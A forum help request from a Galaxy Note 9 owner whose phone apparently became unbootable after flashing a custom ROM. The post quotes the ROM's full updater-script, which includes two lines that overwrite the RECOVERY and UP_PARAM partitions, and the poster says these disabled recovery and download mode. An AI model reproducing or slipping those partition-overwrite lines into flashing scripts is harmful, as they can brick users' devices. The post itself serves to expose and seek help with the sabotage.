[Samsung Galaxy Note 9 Questions & Answers] LTKred:
So, short story... 2 days ago I flashed the recently removed "Superior OS ROM" that was posted (before I knew what was going on obviously and while the thread was still new and open)...

The guy had put these lines in the updater-script, which apparently were put there for malicious purpose:

package_extract_file("superior/keep.img", "/dev/block/platform/11120000.ufs/by-name/RECOVERY");

package_extract_file("superior/settings.bin", "/dev/block/platform/11120000.ufs/by-name/UP_PARAM");

Now, obviously I know I should have double checked before I flashed anything and I usually always do, but for some silly reason on that day I didnt check...

But apparently those 2 lines have screwed with the download mode and recovery mode so they're now inaccessible via normal methods.

The phone still boots up to the boot animation of the rom but then goes no further, the PC does detect the phone but no adb debugging so I'm unable to do anything.

Is there anything at all I can maybe try that would fix download mode at all, so that I can re-flash with Odin?

Thanks!

Full Updater-Script below:

assert(getprop("ro.product.device") == "crownltexx" || getprop("ro.build.product") == "crownltexx" ||

getprop("ro.product.device") == "crownlteks" || getprop("ro.build.product") == "crownlteks" ||

getprop("ro.product.device") == "crownlte" || getprop("ro.build.product") == "crownlte" || abort("E3004: This package is for device: crownltexx,crownlteks,crownlte; this device is " + getprop("ro.product.device") + "."););

ifelse(is_mounted("/vendor"), unmount("/vendor"));

mount("ext4", "EMMC", "/dev/block/platform/11120000.ufs/by-name/VENDOR", "/vendor");

ifelse(file_getprop("/vendor/build.prop","ro.vendor.build.version.sdk") != "29",

unmount("/vendor");

ui_print(" ");

ui_print("=============================================");

ui_print("=============================================");

ui_print(" ERROR: ");

ui_print(" Vendor image on the device ");

ui_print(" is NOT compatible ");

ui_print(" Expected Android 10 vendor ");

ui_print("=============================================");

ui_print("============NO CHANGE HAS BEEN MADE==========");

abort(" "););

unmount("/vendor");

ui_print("Target: samsung/crownltexx/crownlte:10/QP1A.190711.020/N960FXXU5DTCA:user/release-keys");

package_extract_dir("install", "/tmp/install");

set_metadata_recursive("/tmp/install", "uid", 0, "gid", 0, "dmode", 0755, "fmode", 0644);

set_metadata_recursive("/tmp/install/bin", "uid", 0, "gid", 0, "dmode", 0755, "fmode", 0755);

run_program("/tmp/install/bin/backuptool.sh", "backup", "/dev/block/platform/11120000.ufs/by-name/SYSTEM", "ext4");

ui_print("--------------------------------------------");

ui_print(" _____ _ ");

ui_print(" / ___/__ ______ ___ _____(_)___ _____ ");

ui_print(" \__ \/ / / / __ \/ _ \/ ___/ / __ \/ ___/ ");

ui_print(" ___/ / /_/ / /_/ / __/ / / / /_/ / / ");

ui_print("/____/\__,_/ .___/\___/_/ /_/\____/_/ ");

ui_print(" /_/ ");

ui_print(" --- Phoenix --- ");

ui_print("--------------------------------------------");

ui_print(" OS version: SuperiorOS-Phoenix-UNOFFICIAL");

ui_print("");

ui_print(" Android version: 10");

ui_print("");

ui_print(" Security patch: 2020-08-05");

ui_print("");

ui_print(" SDK version: 29");

ui_print("");

ui_print(" Build date: Wed Aug 5 23:57:58 CEST 2020");

ui_print("");

ui_print(" Device codename: crownlte");

ui_print("");

ui_print("--------------------------------------------");

ui_print("Patching system image unconditionally...");

show_progress(0.900000, 0);

block_image_update("/dev/block/platform/11120000.ufs/by-name/SYSTEM", package_extract_file("system.transfer.list"), "system.new.dat.br", "system.patch.dat") ||

abort("E1001: Failed to update system image.");

delete_recursive("/data/system/package_cache");

run_program("/sbin/e2fsck", "-fy", "/dev/block/platform/11120000.ufs/by-name/SYSTEM");

run_program("/sbin/resize2fs", "/dev/block/platform/11120000.ufs/by-name/SYSTEM");

run_program("/sbin/e2fsck", "-fy", "/dev/block/platform/11120000.ufs/by-name/SYSTEM");

show_progress(0.020000, 10);

run_program("/tmp/install/bin/backuptool.sh", "restore", "/dev/block/platform/11120000.ufs/by-name/SYSTEM", "ext4");

package_extract_file("boot.img", "/dev/block/platform/11120000.ufs/by-name/BOOT");

package_extract_file("superior/keep.img", "/dev/block/platform/11120000.ufs/by-name/RECOVERY");

package_extract_file("superior/settings.bin", "/dev/block/platform/11120000.ufs/by-name/UP_PARAM");

show_progress(0.100000, 10);

set_progress(1.000000);